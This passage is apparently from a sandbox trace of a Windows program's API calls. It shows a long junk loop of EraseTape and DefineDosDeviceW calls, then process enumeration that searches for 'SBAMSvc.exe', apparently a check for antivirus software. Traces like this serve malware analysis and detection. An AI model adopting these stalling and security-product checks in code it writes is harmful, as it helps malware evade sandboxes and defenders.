lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.818] GetLastError () returned 0x57 [0066.818] GetCurrentThread () returned 0xfffffffe [0066.818] GetLastError () returned 0x57 [0066.818] EraseTape (hDevice=0x0, dwEraseType=0xc6, bImmediate=0) returned 0x6 [0066.818] DefineDosDeviceW (dwFlags=0xc6, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.818] GetLastError () returned 0x57 [0066.818] GetCurrentThread () returned 0xfffffffe [0066.818] GetLastError () returned 0x57 [0066.818] EraseTape (hDevice=0x0, dwEraseType=0xc7, bImmediate=0) returned 0x6 [0066.818] DefineDosDeviceW (dwFlags=0xc7, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.818] GetLastError () returned 0x57 [0066.818] GetCurrentThread () returned 0xfffffffe [0066.818] GetLastError () returned 0x57 [0066.818] EraseTape (hDevice=0x0, dwEraseType=0xc8, bImmediate=0) returned 0x6 [0066.818] DefineDosDeviceW (dwFlags=0xc8, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.818] GetLastError () returned 0x57 [0066.818] GetCurrentThread () returned 0xfffffffe [0066.818] GetLastError () returned 0x57 [0066.818] EraseTape (hDevice=0x0, dwEraseType=0xc9, bImmediate=0) returned 0x6 [0066.818] DefineDosDeviceW (dwFlags=0xc9, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.818] GetLastError () returned 0x57 [0066.818] GetCurrentThread () returned 0xfffffffe [0066.818] GetLastError () returned 0x57 [0066.818] EraseTape (hDevice=0x0, dwEraseType=0xca, bImmediate=0) returned 0x6 [0066.819] DefineDosDeviceW (dwFlags=0xca, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.819] GetLastError () returned 0x57 [0066.819] GetCurrentThread () returned 0xfffffffe [0066.819] GetLastError () returned 0x57 [0066.819] EraseTape (hDevice=0x0, dwEraseType=0xcb, bImmediate=0) returned 0x6 [0066.819] DefineDosDeviceW (dwFlags=0xcb, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.819] GetLastError () returned 0x57 [0066.819] GetCurrentThread () returned 0xfffffffe [0066.819] GetLastError () returned 0x57 [0066.819] EraseTape (hDevice=0x0, dwEraseType=0xcc, bImmediate=0) returned 0x6 [0066.819] DefineDosDeviceW (dwFlags=0xcc, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.819] GetLastError () returned 0x57 [0066.819] GetCurrentThread () returned 0xfffffffe [0066.819] GetLastError () returned 0x57 [0066.819] EraseTape (hDevice=0x0, dwEraseType=0xcd, bImmediate=0) returned 0x6 [0066.819] DefineDosDeviceW (dwFlags=0xcd, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.819] GetLastError () returned 0x57 [0066.819] GetCurrentThread () returned 0xfffffffe [0066.819] GetLastError () returned 0x57 [0066.819] EraseTape (hDevice=0x0, dwEraseType=0xce, bImmediate=0) returned 0x6 [0066.819] DefineDosDeviceW (dwFlags=0xce, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.819] GetLastError () returned 0x57 [0066.819] GetCurrentThread () returned 0xfffffffe [0066.819] GetLastError () returned 0x57 [0066.819] EraseTape (hDevice=0x0, dwEraseType=0xcf, bImmediate=0) returned 0x6 [0066.819] DefineDosDeviceW (dwFlags=0xcf, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.819] GetLastError () returned 0x57 [0066.819] GetCurrentThread () returned 0xfffffffe [0066.819] GetLastError () returned 0x57 [0066.819] EraseTape (hDevice=0x0, dwEraseType=0xd0, bImmediate=0) returned 0x6 [0066.819] DefineDosDeviceW (dwFlags=0xd0, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.819] GetLastError () returned 0x57 [0066.819] GetCurrentThread () returned 0xfffffffe [0066.819] GetLastError () returned 0x57 [0066.819] EraseTape (hDevice=0x0, dwEraseType=0xd1, bImmediate=0) returned 0x6 [0066.819] DefineDosDeviceW (dwFlags=0xd1, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.819] GetLastError () returned 0x57 [0066.819] GetCurrentThread () returned 0xfffffffe [0066.819] GetLastError () returned 0x57 [0066.819] EraseTape (hDevice=0x0, dwEraseType=0xd2, bImmediate=0) returned 0x6 [0066.819] DefineDosDeviceW (dwFlags=0xd2, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.820] GetLastError () returned 0x57 [0066.820] GetCurrentThread () returned 0xfffffffe [0066.820] GetLastError () returned 0x57 [0066.820] EraseTape (hDevice=0x0, dwEraseType=0xd3, bImmediate=0) returned 0x6 [0066.820] DefineDosDeviceW (dwFlags=0xd3, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.820] GetLastError () returned 0x57 [0066.820] GetCurrentThread () returned 0xfffffffe [0066.820] GetLastError () returned 0x57 [0066.820] EraseTape (hDevice=0x0, dwEraseType=0xd4, bImmediate=0) returned 0x6 [0066.820] DefineDosDeviceW (dwFlags=0xd4, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.820] GetLastError () returned 0x57 [0066.820] GetCurrentThread () returned 0xfffffffe [0066.820] GetLastError () returned 0x57 [0066.820] EraseTape (hDevice=0x0, dwEraseType=0xd5, bImmediate=0) returned 0x6 [0066.820] DefineDosDeviceW (dwFlags=0xd5, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.820] GetLastError () returned 0x57 [0066.820] GetCurrentThread () returned 0xfffffffe [0066.820] GetLastError () returned 0x57 [0066.820] EraseTape (hDevice=0x0, dwEraseType=0xd6, bImmediate=0) returned 0x6 [0066.820] DefineDosDeviceW (dwFlags=0xd6, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.820] GetLastError () returned 0x57 [0066.820] GetCurrentThread () returned 0xfffffffe [0066.820] GetLastError () returned 0x57 [0066.820] EraseTape (hDevice=0x0, dwEraseType=0xd7, bImmediate=0) returned 0x6 [0066.820] DefineDosDeviceW (dwFlags=0xd7, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.820] GetLastError () returned 0x57 [0066.820] GetCurrentThread () returned 0xfffffffe [0066.820] GetLastError () returned 0x57 [0066.820] EraseTape (hDevice=0x0, dwEraseType=0xd8, bImmediate=0) returned 0x6 [0066.820] DefineDosDeviceW (dwFlags=0xd8, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.820] GetLastError () returned 0x57 [0066.820] GetCurrentThread () returned 0xfffffffe [0066.820] GetLastError () returned 0x57 [0066.820] EraseTape (hDevice=0x0, dwEraseType=0xd9, bImmediate=0) returned 0x6 [0066.820] DefineDosDeviceW (dwFlags=0xd9, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.820] GetLastError () returned 0x57 [0066.820] GetCurrentThread () returned 0xfffffffe [0066.820] GetLastError () returned 0x57 [0066.820] EraseTape (hDevice=0x0, dwEraseType=0xda, bImmediate=0) returned 0x6 [0066.820] DefineDosDeviceW (dwFlags=0xda, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.820] GetLastError () returned 0x57 [0066.820] GetCurrentThread () returned 0xfffffffe [0066.820] GetLastError () returned 0x57 [0066.821] EraseTape (hDevice=0x0, dwEraseType=0xdb, bImmediate=0) returned 0x6 [0066.821] DefineDosDeviceW (dwFlags=0xdb, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.821] GetLastError () returned 0x57 [0066.821] GetCurrentThread () returned 0xfffffffe [0066.821] GetLastError () returned 0x57 [0066.821] EraseTape (hDevice=0x0, dwEraseType=0xdc, bImmediate=0) returned 0x6 [0066.821] DefineDosDeviceW (dwFlags=0xdc, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.821] GetLastError () returned 0x57 [0066.821] GetCurrentThread () returned 0xfffffffe [0066.821] GetLastError () returned 0x57 [0066.821] EraseTape (hDevice=0x0, dwEraseType=0xdd, bImmediate=0) returned 0x6 [0066.821] DefineDosDeviceW (dwFlags=0xdd, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.821] GetLastError () returned 0x57 [0066.821] GetCurrentThread () returned 0xfffffffe [0066.821] GetLastError () returned 0x57 [0066.821] EraseTape (hDevice=0x0, dwEraseType=0xde, bImmediate=0) returned 0x6 [0066.821] DefineDosDeviceW (dwFlags=0xde, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.821] GetLastError () returned 0x57 [0066.821] GetCurrentThread () returned 0xfffffffe [0066.821] GetLastError () returned 0x57 [0066.821] EraseTape (hDevice=0x0, dwEraseType=0xdf, bImmediate=0) returned 0x6 [0066.821] DefineDosDeviceW (dwFlags=0xdf, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.821] GetLastError () returned 0x57 [0066.821] GetCurrentThread () returned 0xfffffffe [0066.821] GetLastError () returned 0x57 [0066.821] EraseTape (hDevice=0x0, dwEraseType=0xe0, bImmediate=0) returned 0x6 [0066.821] DefineDosDeviceW (dwFlags=0xe0, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.821] GetLastError () returned 0x57 [0066.821] GetCurrentThread () returned 0xfffffffe [0066.821] GetLastError () returned 0x57 [0066.821] EraseTape (hDevice=0x0, dwEraseType=0xe1, bImmediate=0) returned 0x6 [0066.821] DefineDosDeviceW (dwFlags=0xe1, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.821] GetLastError () returned 0x57 [0066.821] GetCurrentThread () returned 0xfffffffe [0066.821] GetLastError () returned 0x57 [0066.821] EraseTape (hDevice=0x0, dwEraseType=0xe2, bImmediate=0) returned 0x6 [0066.821] DefineDosDeviceW (dwFlags=0xe2, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.821] GetLastError () returned 0x57 [0066.821] GetCurrentThread () returned 0xfffffffe [0066.821] GetLastError () returned 0x57 [0066.821] EraseTape (hDevice=0x0, dwEraseType=0xe3, bImmediate=0) returned 0x6 [0066.822] DefineDosDeviceW (dwFlags=0xe3, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.822] GetLastError () returned 0x57 [0066.822] GetCurrentThread () returned 0xfffffffe [0066.822] GetLastError () returned 0x57 [0066.822] EraseTape (hDevice=0x0, dwEraseType=0xe4, bImmediate=0) returned 0x6 [0066.822] DefineDosDeviceW (dwFlags=0xe4, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.822] GetLastError () returned 0x57 [0066.822] GetCurrentThread () returned 0xfffffffe [0066.822] GetLastError () returned 0x57 [0066.822] EraseTape (hDevice=0x0, dwEraseType=0xe5, bImmediate=0) returned 0x6 [0066.822] DefineDosDeviceW (dwFlags=0xe5, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.822] GetLastError () returned 0x57 [0066.822] GetCurrentThread () returned 0xfffffffe [0066.822] GetLastError () returned 0x57 [0066.822] EraseTape (hDevice=0x0, dwEraseType=0xe6, bImmediate=0) returned 0x6 [0066.822] DefineDosDeviceW (dwFlags=0xe6, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.822] GetLastError () returned 0x57 [0066.822] GetCurrentThread () returned 0xfffffffe [0066.822] GetLastError () returned 0x57 [0066.822] EraseTape (hDevice=0x0, dwEraseType=0xe7, bImmediate=0) returned 0x6 [0066.822] DefineDosDeviceW (dwFlags=0xe7, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.822] GetLastError () returned 0x57 [0066.822] GetCurrentThread () returned 0xfffffffe [0066.822] GetLastError () returned 0x57 [0066.822] EraseTape (hDevice=0x0, dwEraseType=0xe8, bImmediate=0) returned 0x6 [0066.822] DefineDosDeviceW (dwFlags=0xe8, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.822] GetLastError () returned 0x57 [0066.822] GetCurrentThread () returned 0xfffffffe [0066.822] GetLastError () returned 0x57 [0066.822] EraseTape (hDevice=0x0, dwEraseType=0xe9, bImmediate=0) returned 0x6 [0066.822] DefineDosDeviceW (dwFlags=0xe9, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.822] GetLastError () returned 0x57 [0066.822] GetCurrentThread () returned 0xfffffffe [0066.822] GetLastError () returned 0x57 [0066.822] EraseTape (hDevice=0x0, dwEraseType=0xea, bImmediate=0) returned 0x6 [0066.822] DefineDosDeviceW (dwFlags=0xea, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.822] GetLastError () returned 0x57 [0066.822] GetCurrentThread () returned 0xfffffffe [0066.822] GetLastError () returned 0x57 [0066.822] EraseTape (hDevice=0x0, dwEraseType=0xeb, bImmediate=0) returned 0x6 [0066.822] DefineDosDeviceW (dwFlags=0xeb, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.823] GetLastError () returned 0x57 [0066.823] GetCurrentThread () returned 0xfffffffe [0066.823] GetLastError () returned 0x57 [0066.823] EraseTape (hDevice=0x0, dwEraseType=0xec, bImmediate=0) returned 0x6 [0066.823] DefineDosDeviceW (dwFlags=0xec, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.823] GetLastError () returned 0x57 [0066.823] GetCurrentThread () returned 0xfffffffe [0066.823] GetLastError () returned 0x57 [0066.823] EraseTape (hDevice=0x0, dwEraseType=0xed, bImmediate=0) returned 0x6 [0066.823] DefineDosDeviceW (dwFlags=0xed, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.823] GetLastError () returned 0x57 [0066.823] GetCurrentThread () returned 0xfffffffe [0066.823] GetLastError () returned 0x57 [0066.823] EraseTape (hDevice=0x0, dwEraseType=0xee, bImmediate=0) returned 0x6 [0066.823] DefineDosDeviceW (dwFlags=0xee, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.823] GetLastError () returned 0x57 [0066.823] GetCurrentThread () returned 0xfffffffe [0066.823] GetLastError () returned 0x57 [0066.823] EraseTape (hDevice=0x0, dwEraseType=0xef, bImmediate=0) returned 0x6 [0066.823] DefineDosDeviceW (dwFlags=0xef, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.823] GetLastError () returned 0x57 [0066.823] GetCurrentThread () returned 0xfffffffe [0066.823] GetLastError () returned 0x57 [0066.823] EraseTape (hDevice=0x0, dwEraseType=0xf0, bImmediate=0) returned 0x6 [0066.823] DefineDosDeviceW (dwFlags=0xf0, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.823] GetLastError () returned 0x57 [0066.823] GetCurrentThread () returned 0xfffffffe [0066.823] GetLastError () returned 0x57 [0066.823] EraseTape (hDevice=0x0, dwEraseType=0xf1, bImmediate=0) returned 0x6 [0066.823] DefineDosDeviceW (dwFlags=0xf1, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.823] GetLastError () returned 0x57 [0066.823] GetCurrentThread () returned 0xfffffffe [0066.823] GetLastError () returned 0x57 [0066.823] EraseTape (hDevice=0x0, dwEraseType=0xf2, bImmediate=0) returned 0x6 [0066.823] DefineDosDeviceW (dwFlags=0xf2, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.823] GetLastError () returned 0x57 [0066.823] GetCurrentThread () returned 0xfffffffe [0066.823] GetLastError () returned 0x57 [0066.823] EraseTape (hDevice=0x0, dwEraseType=0xf3, bImmediate=0) returned 0x6 [0066.823] DefineDosDeviceW (dwFlags=0xf3, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.823] GetLastError () returned 0x57 [0066.823] GetCurrentThread () returned 0xfffffffe [0066.823] GetLastError () returned 0x57 [0066.823] EraseTape (hDevice=0x0, dwEraseType=0xf4, bImmediate=0) returned 0x6 [0066.823] DefineDosDeviceW (dwFlags=0xf4, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.824] GetLastError () returned 0x57 [0066.824] GetCurrentThread () returned 0xfffffffe [0066.824] GetLastError () returned 0x57 [0066.824] EraseTape (hDevice=0x0, dwEraseType=0xf5, bImmediate=0) returned 0x6 [0066.824] DefineDosDeviceW (dwFlags=0xf5, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.824] GetLastError () returned 0x57 [0066.824] GetCurrentThread () returned 0xfffffffe [0066.824] GetLastError () returned 0x57 [0066.824] EraseTape (hDevice=0x0, dwEraseType=0xf6, bImmediate=0) returned 0x6 [0066.824] DefineDosDeviceW (dwFlags=0xf6, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.824] GetLastError () returned 0x57 [0066.824] GetCurrentThread () returned 0xfffffffe [0066.824] GetLastError () returned 0x57 [0066.824] EraseTape (hDevice=0x0, dwEraseType=0xf7, bImmediate=0) returned 0x6 [0066.824] DefineDosDeviceW (dwFlags=0xf7, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.824] GetLastError () returned 0x57 [0066.824] GetCurrentThread () returned 0xfffffffe [0066.824] GetLastError () returned 0x57 [0066.824] EraseTape (hDevice=0x0, dwEraseType=0xf8, bImmediate=0) returned 0x6 [0066.824] DefineDosDeviceW (dwFlags=0xf8, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.824] GetLastError () returned 0x57 [0066.824] GetCurrentThread () returned 0xfffffffe [0067.500] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0067.505] lstrcpyW (in: lpString1=0x1ebfb48, lpString2="SBAMSvc.exe" | out: lpString1="SBAMSvc.exe") returned="SBAMSvc.exe" [0067.505] lstrlenW (lpString="SBAMSvc.exe") returned 11 [0067.505] CharUpperBuffW (in: lpsz="SBAMSvc.exe", cchLength=0xb | out: lpsz="SBAMSVC.EXE") returned 0xb [0067.505] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.505] lstrcpyW (in: lpString1=0x1ebf940, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0067.505] lstrlenW (lpString="[System Process]") returned 16 [0067.505] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0067.505] lstrcmpW (lpString1="[SYSTEM PROCESS]", lpString2="SBAMSVC.EXE") returned -1 [0067.508] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x65, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.509] lstrcpyW (in: lpString1=0x1ebf940, lpString2="System" | out: lpString1="System") returned="System" [0067.509] lstrlenW (lpString="System") returned 6 [0067.509] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0067.509] lstrcmpW (lpString1="SYSTEM", lpString2="SBAMSVC.EXE") returned 1 [0067.509] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.509] lstrcpyW (in: lpString1=0x1ebf940, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0067.509] lstrlenW (lpString="smss.exe") returned 8 [0067.509] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0067.509] lstrcmpW (lpString1="SMSS.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.509] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.510] lstrcpyW (in: lpString1=0x1ebf940, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0067.510] lstrlenW (lpString="csrss.exe") returned 9 [0067.510] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0067.510] lstrcmpW (lpString1="CSRSS.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.510] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.511] lstrcpyW (in: lpString1=0x1ebf940, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0067.511] lstrlenW (lpString="wininit.exe") returned 11 [0067.511] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0067.511] lstrcmpW (lpString1="WININIT.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.511] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.512] lstrcpyW (in: lpString1=0x1ebf940, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0067.512] lstrlenW (lpString="csrss.exe") returned 9 [0067.512] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0067.512] lstrcmpW (lpString1="CSRSS.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.512] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.512] lstrcpyW (in: lpString1=0x1ebf940, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0067.512] lstrlenW (lpString="winlogon.exe") returned 12 [0067.512] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0067.512] lstrcmpW (lpString1="WINLOGON.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.512] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.513] lstrcpyW (in: lpString1=0x1ebf940, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0067.513] lstrlenW (lpString="services.exe") returned 12 [0067.513] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0067.513] lstrcmpW (lpString1="SERVICES.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.513] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.513] lstrcpyW (in: lpString1=0x1ebf940, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0067.513] lstrlenW (lpString="lsass.exe") returned 9 [0067.513] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0067.513] lstrcmpW (lpString1="LSASS.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.513] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.514] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.514] lstrlenW (lpString="svchost.exe") returned 11 [0067.514] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.514] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.514] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.515] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.515] lstrlenW (lpString="svchost.exe") returned 11 [0067.515] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.515] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.515] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.515] lstrcpyW (in: lpString1=0x1ebf940, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0067.515] lstrlenW (lpString="dwm.exe") returned 7 [0067.515] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0067.515] lstrcmpW (lpString1="DWM.EXE", lpString2="SBAMSVC.EXE") returned -1 [0067.515] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.516] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.516] lstrlenW (lpString="svchost.exe") returned 11 [0067.516] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.516] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.516] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.517] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.517] lstrlenW (lpString="svchost.exe") returned 11 [0067.517] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.517] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.517] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.517] lstrcpyW (in: lpString1=0x1ebf940, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0067.518] lstrlenW (lpString="svchost.exe") returned 11 [0067.518] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0067.518] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="SBAMSVC.EXE") returned 1 [0067.518] Process32NextW (in: hSnapshot=0x1d0, lppe=0x1ebf714 | out: lppe=0x1ebf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, 